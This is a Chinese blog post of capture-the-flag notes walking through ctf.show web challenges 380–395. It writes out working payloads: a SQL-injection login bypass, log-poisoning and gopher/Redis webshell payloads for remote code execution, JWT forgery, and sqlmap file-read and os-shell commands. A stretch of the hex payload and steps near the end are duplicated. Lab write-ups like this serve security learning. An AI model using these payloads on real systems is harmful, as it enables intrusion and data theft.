中期测评和终极考核做自闭了,花了一天时间做这个,也学到了挺多东西,把一些笔记放上来吧
web380
1.首先查看源码,没有发现什么有用的东西
2.尝试常见敏感目录,也没发现什么有用的东西
3.随便点进一篇文章,发现目录为page_x.php(x=1, 2, 3, 4)
4.猜测目录为纯静态或者伪静态
5.访问/page_2;.php,页面跳转404,说明目录为纯静态
6.尝试访问page.php,发现文件包含
7.传参?id=flag,在源码中得到得到flag
payload:URL/page.php?id=flag
web381
1.同样的页面,继续访问/page.php
2.访问后页面写着“打开page_$id.php失败”,文件名已经改了,无法从这里下手
3.在首页源码中发现了“/alsckdfy/layui/css/tree.css”中有可疑目录
4.访问/alsckdfy,得到flag
payload:URL/alsckdfy
web382、383
1.同样的页面,继续访问/alsckdfy
2.后台地址换成了一个登录框,尝试用万能密码登录,成功得到flag
username:admin’ or 1=1#;
password:123
web384
1.同样的页面,继续访问/alsckdfy,得到同样的登录框
2.这次不能用万能密码绕过了,根据提示”密码前2位是小写字母,后三位是数字“,自己生成字典
1 | import string |
3.利用bp进行爆破,用得到的密码登录即可得到flag
username:admin
password:xy123
web385
1.同样的页面,继续访问/alsckdfy,得到同样的登录框
2.万能密码和xy123都不能登陆了,登录框的漏洞应该利用过不了了
3.扫描目录,发现/install/
4.访问/install/,发现可以重新安装
5.访问install/?install进行重新安装,提示管理员密码重置为默认密码
6.尝试了123456、admin123等密码无果后,使用字典爆破
7.爆破出来的密码为”admin888”,登录即可获得flag
web386
1.同样的页面,继续访问/install/
2.页面上写着“lock.dat存在,你已经安装过了,请勿重复安装”
3.下载lock.dat,上面只有两个字“OK”(…)
4.扫描目录,发现/clear.php,访问后页面写着“清理完成”
5.大胆猜测可以在这个页面删除lock.dat
6.GET传参file=/install/lock.dat,清理成功
7.访问/install/,发现又可以重新安装了
8.访问/install?install,重新安装
9.访问/alsckdfy,登录成功后得到flag
web387
1.同样的页面,继续访问/install/
2.页面上写着“lock.dat存在,你已经安装过了,请勿重复安装”
3.继续访问/clear.php?file=install/lock.dat,发现无法删除
4.访问/robots.txt,发现/debug
5.访问/debug,页面上写着”file not exist”
6.尝试给它一个参数?file=../clear.php,发现跳转到clear.php页面
7.猜测访问成功后会执行file参数中的文件
8.访问?file=/etc/passwd,发现存在文件包含漏洞
9.尝试日志包含,但是不能直接写马
10.直接在日志包含中进行命令执行,成功RCE
复习下日志包含:
1.在UA头中写入php木马
2.执行后,访问URL/?file=/var/log/nginx/access.log
3.访问URL/1.txt,查看命令执行结果
11.在各个目录都找不到flag,猜测flag在登录成功的页面中
12.继续日志包含,将/alsckdfy/check.php中的内容读出
<?php system(‘cat /var/www/html/alsckdfy/check.php >/var/www/html/2.txt’);?>
13.在/alsckdfy/check.php中得到flag
web388
1.387的方法不能用了,寻找别的方法
2.查看首页的源码,发现图片的路径不太一样,猜测为编辑器泄露
3.访问/alsckdfy/editor/,发现编辑器
4.上传木马,并把后缀改为.zip
1 |
|
文件路径:/alsckdfy/attached/file/20211122/20211122084947_21173.zip
5.访问/debug/?file=/var/www/html/alsckdfy/attached/file/20211122/20211122084947_21173.zip,将木马写入网站
6.访问URL/1.php,进行RCE
payload:1=echo `cat /var/www/html/alsckdfy/check.php`;
web389
1.访问/debug/,页面上写着“权限不足”
2.查看cookie,发现cookie中有jwt
3.对jwt进行解密,将sub改为admin,并根据积累与特征看出密钥为123456,将伪造后的jwt重新写入cookie中访问/debug/,访问成功
4.接下来用388的方法就能打通
web390
1.继续尝试389的方法,但是jwt的密钥被修改了,尝试失败
2.随便点进一篇文章,发现注入点”/page.php?id=”
3.sqlmap一把梭,结果将保存在本地,访问即可得到flag
python sqlmap.py -u http://61433d34-74db-435d-bfcf-b8638d05e9da.challenge.ctf.show/page.php?id=1 —file-read /var/www/html/alsckdfy/check.php —batch
web391
1.继续尝试390的方法,但是注入点不在”/page.php?id=”了,尝试失败
2.随便点进一篇文章,可以在左上角发现标题输入框,输入后发现疑似注入点”/search.php?title=”
3.sqlmap继续梭,成功梭出来后在本地访问结果文件得到flag
python sqlmap.py -u http://1702fa8b-3d75-4d23-ae02-6d338e6fe116.challenge.ctf.show/search.php?title=1 —file-read /var/www/html/alsckdfy/check.php —batch
web392
1.继续尝试391的方法,但是梭出来的check.php里面没有flag,尝试失败
2.但是sqlmap能梭出来文件,说明注入点还是”/search.php?title=”,尝试用sqlmap拿shell
python sqlmap.py -u http://85c6b714-f0f2-4bfa-a07c-318b7d84ea88.challenge.ctf.show/search.php?title=1 —os-shell
web393
1.继续尝试392的方法,但是不能拿到shell,尝试失败
2.回到首页,发现最下面有个”搜索引擎”,随便点开一个,发现是百度的页面
3.在url中发现?id=4,猜测页面是从数据库中读取的
4.回到/search.php,经过测试存在堆叠注入
5.用sqlmap查出库名、表名、列名
查库名:python sqlmap.py -u http://5ba70703-13a0-4245-b1e3-78f3a1286eec.challenge.ctf.show/search.php?title=111 —user-agent=”sqlmap” —dbs
查表名:python sqlmap.py -u http://5ba70703-13a0-4245-b1e3-78f3a1286eec.challenge.ctf.show/search.php?title=111 —user-agent=”sqlmap” -D “ctfshow” —tables
查列名:python sqlmap.py -u http://5ba70703-13a0-4245-b1e3-78f3a1286eec.challenge.ctf.show/search.php?title=111 —user-agent=”sqlmap” -D “ctfshow” -T “link” —columns
6.回到search.php,进行堆叠注入
/search.php?title=1’;insert into link values(7,’MiGooli’,’file:///flag’);
7.访问/link.php?id=7即可得到flag
web394
1.继续尝试393的方法,堆叠注入后报错,应该是过滤了一些字符
2.对”url”字段中的数据进行hex编码,发现注入成功了
search.php?title=1’;insert into link values(7,’MiGooli’,’66696c653a2f2f2f666c6167’);
(hex值为file:///flag)
3.然后访问link.php?id=7,并没有发现想要的flag
4.根据积累与特征(也就是前几题的经验),猜测flag在/alsckdfy/check.php中
/search.php?title=1’;insert into link values(10,’MiGooli’,’66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870’);
(hex值为file:///var/www/html/alsckdfy/check.php)
5.然后访问link.php?id=10,得到flag
web395
1.继续尝试394的方法,打不通
2.由于页面存在ssrf,所以尝试mysql打redis
3.由于url字段默认长度为255,所以需要改长一点才能放得下payload
/search.php?title=1’;alter table link modify column url text;
4.然后将生成的payload进行hex编码,进行堆叠注入
/search.php?title=1’;insert into link values(11,’MiGooli’,0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
5.然后访问/link.php?id=11,生成abc.php
6.最后访问/abc.php,进行RCE
530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
5.然后访问/link.php?id=11,生成abc.php
6.最后访问/abc.php,进行RCE
payload:1=system(‘cat /var/www/html/alsckdfy/check.php’);